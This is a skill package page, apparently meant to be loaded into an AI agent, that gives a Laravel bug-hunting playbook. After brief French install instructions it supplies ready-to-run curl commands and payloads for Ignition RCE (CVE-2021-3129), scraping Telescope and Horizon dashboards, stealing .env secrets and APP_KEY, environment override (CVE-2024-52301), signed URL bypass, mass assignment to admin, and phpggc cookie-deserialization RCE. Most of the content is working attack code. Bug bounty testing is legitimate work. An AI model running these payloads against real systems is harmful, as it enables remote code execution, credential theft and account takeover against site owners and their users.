elementalsouls/claude-bughunter

hunt-laravel

Hunt Laravel specific vulnerabilities — Debug mode leakage (APPDEBUG=true exposes full stack trace + env vars), Laravel Telescope/Horizon dashboard unauthorized access, Ignition RCE (CVE-2021-3129), Signed URL manipulation, Queue Worker abuse, mass assignme…

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Mode d’emploi

  1. Copiez la commande et examinez le paquet avant de l’installer dans votre environnement agent.
  2. Consultez le document original pour les outils, identifiants et environnements requis.
  3. Décrivez les entrées et le livrable souhaité ; comparez la sortie aux sources.
npx skills add https://github.com/elementalsouls/claude-bughunter --skill hunt-laravel

Avant de commencer

  • L’installation n’inclut ni abonnement au modèle, ni quota API, ni accès aux fichiers.
  • Étoiles et installations reflètent l’activité, pas un test indépendant de qualité ou de sécurité.
Document Skill original

Rendu depuis le dépôt source en conservant titres, exemples, code, tableaux, liens et images.

HUNT-LARAVEL — Laravel Specific Vulnerabilities

Crown Jewel Targets

Laravel debug mode enabled in production = instant RCE via Ignition (CVE-2021-3129).

Highest-value findings:

  • Ignition RCE (CVE-2021-3129) — APP_DEBUG=true + Laravel < 8.4.2 → /_ignition/execute-solution RCE without auth
  • Telescope dashboard — /telescope exposes full request/response logs, DB queries, Redis commands, scheduled jobs, environment variables
  • Horizon dashboard — /horizon exposes queue job details, failed jobs with full payloads (may contain API keys, PII)
  • Signed URL manipulation — if URL::signedRoute validates wrong params → bypass signed URL → unauthorized actions
  • .env exposure — APP_KEY leaked → decrypt all encrypted cookies → forge session → ATO

Phase 1 — Fingerprint Laravel

bash
# Laravel-specific indicators
curl -sI https://$TARGET/ | grep -i "laravel_session\|x-powered-by.*php"
curl -s https://$TARGET/ | grep -i "laravel\|Illuminate\|csrf-token"

# Common Laravel paths
for path in /storage /public /resources "/vendor/laravel" "/.env" "/artisan"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" != "404" ] && echo "$path: $STATUS"
done

# Check error page (trigger 404)
curl -s "https://$TARGET/definitely-does-not-exist-xyz" | grep -i "laravel\|Whoops\|Ignition\|symfony"

Phase 2 — Debug Mode & Ignition RCE (CVE-2021-3129)

bash
# Step 1: Check if debug mode is enabled (Whoops error page)
curl -s "https://$TARGET/nonexistent" | grep -i "Whoops\|APP_DEBUG\|Ignition"

# If Whoops/Ignition is visible → debug mode ON → test CVE-2021-3129

# Step 2: Check Ignition endpoint
curl -s "https://$TARGET/_ignition/health-check" | head -5

# Step 3: CVE-2021-3129 — Laravel < 8.4.2 RCE via log file manipulation
# (Requires debug mode + writable storage/logs)
# Tool: ambionics/laravel-ignition-rce
git clone https://github.com/ambionics/laravel-ignition-rce /tmp/laravel-rce
php /tmp/laravel-rce/exploit.php https://$TARGET "id"

# Manual test — send solution request
curl -s -X POST "https://$TARGET/_ignition/execute-solution" \
  -H "Content-Type: application/json" \
  -d '{
    "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
    "parameters": {
      "variableName": "x",
      "viewFile": "php://filter/write=convert.base64-decode/resource=../storage/logs/laravel.log"
    }
  }'

Phase 3 — Laravel Telescope & Horizon

bash
# Telescope — request/response logs, DB queries, jobs, cache, events
curl -s "https://$TARGET/telescope" | grep -i "telescope\|laravel"
curl -s "https://$TARGET/telescope/api/requests" | python3 -m json.tool 2>/dev/null | head -50
curl -s "https://$TARGET/telescope/api/commands" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/redis" | python3 -m json.tool 2>/dev/null | head -30
curl -s "https://$TARGET/telescope/api/environment" | python3 -m json.tool 2>/dev/null | head -50

# Horizon — queue worker dashboard
curl -s "https://$TARGET/horizon" | grep -i "horizon\|laravel"
curl -s "https://$TARGET/horizon/api/stats" | python3 -m json.tool 2>/dev/null
curl -s "https://$TARGET/horizon/api/jobs/failed" | python3 -m json.tool 2>/dev/null | head -50
# Failed job payloads often contain full request data including auth tokens

# Common paths
for path in /telescope /telescope/requests /telescope/api /horizon /horizon/api/stats; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "https://$TARGET$path")
  [ "$STATUS" = "200" ] && echo "[+] ACCESSIBLE: $TARGET$path"
done

Phase 4 — .env File & APP_KEY Exposure

bash
# Direct .env access
curl -s "https://$TARGET/.env" | grep -i "APP_KEY\|DB_PASSWORD\|SECRET\|KEY"
curl -s "https://$TARGET/.env.production"
curl -s "https://$TARGET/.env.backup"
curl -s "https://$TARGET/.env.local"

# If APP_KEY found:
APP_KEY="base64:XXXXXXX"
echo "APP_KEY=$APP_KEY"
# → Can decrypt all Laravel encrypted cookies
# → Can forge session cookies → ATO for any user

# Also check
curl -s "https://$TARGET/storage/logs/laravel.log" | tail -100 | grep -i "exception\|error\|key\|password"

Phase 4b — Environment override via query args (CVE-2024-52301)

When register_argc_argv=On (php.ini), Laravel parses the query-string as CLI args, so ?--env= overrides APP_ENV over HTTP -> flip the app into local/testing config (debug on, seeded creds, weaker guards).

bash
curl -s "https://$TARGET/?--env=local"          # force debug/local config
curl -s "https://$TARGET/login?--env=testing"    # swap to testing DB/config
# Confirm: debug/Whoops page or a different env banner. Fixed 11.31.0 / 10.48.23 / 9.52.17.

Phase 5 — Signed URL Manipulation

bash
# Laravel signed URLs contain signature param: ?signature=HASH
# Find signed URL endpoints
cat recon/$TARGET/urls.txt | grep "signature="

# Test: modify a non-signature parameter — should fail validation
SIGNED_URL="https://$TARGET/unsubscribe?user=123&email=test@test.com&signature=VALID_SIG"

# Modify user ID → should fail if properly signed
curl -s "${SIGNED_URL/user=123/user=999}"

# Test signature bypass: remove signature entirely
curl -s "${SIGNED_URL/&signature=VALID_SIG/}"

# Test: does the app validate ALL parameters or just some?
curl -s "${SIGNED_URL}&extra=malicious"

Phase 6 — Mass Assignment via Eloquent

bash
# Laravel Eloquent ORM — if model uses $guarded=[] or $fillable=[] improperly
# Test: add extra fields to update/create requests

# Profile update
curl -s -X POST "https://$TARGET/api/profile" \
  -H "Cookie: laravel_session=SESSION" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@test.com", "is_admin": true, "role": "admin"}'

# Registration
curl -s -X POST "https://$TARGET/api/register" \
  -H "Content-Type: application/json" \
  -d '{"name": "Test", "email": "test@new.com", "password": "test123", "verified": true, "admin": 1}'

Phase 7 — Laravel Cookie Deserialization

bash
# If APP_KEY is known, forge a session cookie with malicious serialized payload
# Uses phpggc gadget chains

# Get the app key
APP_KEY=$(curl -s "https://$TARGET/.env" | grep "^APP_KEY=" | cut -d= -f2)

# Generate payload with phpggc
php phpggc Laravel/RCE5 system 'id' | base64

# Sign the cookie with the app key using laravel-cookie-forge script
# python3 laravel_cookie_forge.py --key "$APP_KEY" --payload "PHPGGC_PAYLOAD"

Chain Table

Laravel findingChain toImpact
Debug mode ONCVE-2021-3129 Ignition RCECritical RCE
Telescope accessibleRead API keys, DB queries, env varsHigh - credential theft
Horizon accessibleRead failed job payloadsHigh - PII/token exfil
.env exposed with APP_KEYForge session cookie → ATOCritical ATO
Signed URL bypassUnauthorized actions (unsubscribe any user, etc.)Medium-High
Mass assignmentSet is_admin=true → privilege escalationCritical

Validation

✅ Ignition RCE: id command output returned in response ✅ Telescope: API responses contain DB queries with credentials or user tokens ✅ APPKEY: Forged session cookie accepted, returns another user's profile ✅ Mass assignment: `isadmin: true` accepted, account now has admin privileges

Severity:

  • Ignition RCE: Critical
  • Telescope/Horizon with sensitive data: High
  • .env with APP_KEY: Critical
  • Mass assignment to admin: Critical

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